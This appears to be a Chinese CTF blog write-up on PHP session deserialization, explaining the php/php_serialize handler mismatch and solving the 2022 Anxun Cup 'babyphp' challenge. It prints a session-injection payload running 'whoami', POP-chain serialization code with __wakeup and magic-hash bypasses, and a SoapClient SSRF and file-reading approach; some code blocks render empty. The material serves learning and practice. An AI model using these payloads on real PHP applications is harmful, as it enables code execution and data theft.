一篇带你搞定session反序列化
写在前面
为了彻底搞懂session反序列化这个东西,今天花了一个下午已经晚上一些时间去理解以及调试,若有写的不好的地方希望师傅私信我QWQ~
以PHP为例,理解session
的原理
- PHP脚本使用 session_start()时开启
session
会话,会自动检测PHPSESSID
- 如果
Cookie
中存在,获取PHPSESSID
- 如果
Cookie
中不存在,创建一个PHPSESSID
,并通过响应头以Cookie
形式保存到浏览器
- 如果
- 初始化超全局变量
$_SESSION
为一个空数组 - PHP通过
PHPSESSID
去指定位置(PHPSESSID
文件存储位置)匹配对应的文件- 存在该文件:读取文件内容(通过反序列化方式),将数据存储到
$_SESSION
中 - 不存在该文件: session_start()创建一个
PHPSESSID
命名文件
- 存在该文件:读取文件内容(通过反序列化方式),将数据存储到
- 程序执行结束,将
$_SESSION
中保存的所有数据序列化存储到PHPSESSID
对应的文件中 - 生成的session文件是以sess_PHPSESSID进行命名的(这里的PHPSESSID换成你所命名的ID)
session_serialize_handler
这里通过代码测试php和php_serialize
php
1 |
|
那么我们现在来本地看看生成的sess_test到底长什么样子
正如上面所说的:键名+竖线+serialize处理后的值
php_serialize
1 |
|
可以明显的看出是直接把name=Jackeylove这个当成数组进行序列化
思考:
如果本身是php,但是我通过修改序列化上传的序列化格式为php_serialize,然后服务器在进行反序列化这个session文件的时候是通过php的模式,那不就可以通过session反序列化恶意类?
1 |
|
1 | name=|O%3A3%3A%22cmd%22%3A1%3A%7Bs%3A5%3A%22shell%22%3Bs%3A6%3A%22whoami%22%3B%7D |
当我们通过刚刚的PHPSESSID进行访问时,在session_start()的作用下会先检查是否存在sess_hhhhh->
然后对内容进行反序列化,进而执行了我们的恶意类
当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞
2022安洵杯babyphp
index.php
1 | array(0) { } |
flag.php
1 |
|
分析
我们首先来分析flag.php,很明显是用原生类的SoapClient进行ssrf绕过,然后它就会把flag放在session中
1 | new $_GET['a']($_GET['b']); |
看到这个第一眼就想到了利用原生类
因为不知道flag的文件名,所以很容易就想到用DirectoryIterator结合glob协议进行读取根目录
然后在通过SplFileObject直接读取文件
那么开始写用SoapClient结合DirectoryIterator进行根目录的遍历
1 |
|
管他三七二十一,先把我们的ssrf写进去再说
在index.php中我们看到了会把session给dump出来
那么如何触发SoapClient呢?
肯定就是需要用到给的这个A类进行反序列化
那么我们现在来跟一下这条链子
1 | class A |
1 | 利用链: |
这里我们可以首先先打出phpinfo()看看session的相关配置
这里有两个点要进行绕过
A类中的md5比较 -> 0e215962017
A类中的wakeup绕过(这里是PHP7.4.29)
- 删除 )
- 类属性数量不一致
- 属性键的长度不匹配。
- 属性值的长度不匹配。
- 删除 ;
https://github.com/php/php-src/issues/9618
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class A
{
public $a = "0e215962017";
public $b;
}
class B{
public $a;
public $b ;
public $k ;
}
class C
{
public $a = "phpinfo";
public $c;
}
$a = new B();
$a->a = new C();
$a->a->c = new A();
$a->a->c->b = new C();
$test = serialize($a);
echo $test;
//O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
//利用上面->类属性数量不一致进行绕过wakeup,把开头的B的3个属性改成了2个
//O:1:"B":2:{s:1:"a";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}成功绕过,这里我们也看到了容器本身就是用的php反序列化处理,也照应了我们写session时用的php_serialize处理器(当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞)
那么现在就开始触发我们的SoapClient吧
这里利用了一个特性:
1 | 当call_user_func的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调。也就是说会调用SoapClient->a’,因为SoapClient没有这个方法就调用_call。 |
1 |
|
到此,我们这条链子基本打通了
只需要把glob:///f* 就能找到flag的名字
然后在通过SplFileObject读取文件即可
1 |
|
好了,我分享的差不多了哦
如果你觉得我分享的你能听懂,那么为何不去动手尝试一波?
BUU的第四页的这道题为何不去尝试一下?
后续
关于高版的wakeup绕过大家可以去试一试
关于官方的wp wakeup的绕过是用的引用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class A
{
public $a;
public $b;
public function __construct()
{
$this->a = "0e215962017";
}
}
class B
{
public $a;
public $b;
public $k;
public function __construct()
{
$this->a = "1";
$this->b = &$this->a;
}
}
class C
{
public $a;
public $c;
public function __construct()
{
$this->a = "phpinfo";
}
}
$a = new B;
$a->k = new C();
$a->k->c = new A();
$a->k->c->b = new C();
var_dump($a->b);
echo PHP_EOL;
echo serialize($a);
//phpinfo: O:1:"B":3:{s:1:"a";s:1:"1";s:1:"b";R:2;s:1:"k";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;};}}}
//payload: O:1:"B":3:{s:1:"a";s:1:"1";s:1:"b";R:2;s:1:"k";O:1:"C":2:{s:1:"a";s:3:"aaa";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:3:"aaa";s:1:"c";N;};}}}关于引用
很容易看出来,a和b的值是一致的,不管谁变,他们的值都会改变
- session相关的还有session.upload_progress这类的题目,其实还比这道题简单些,只需要进行条件竞争
后面还有相关的会补上的啦 咕咕咕~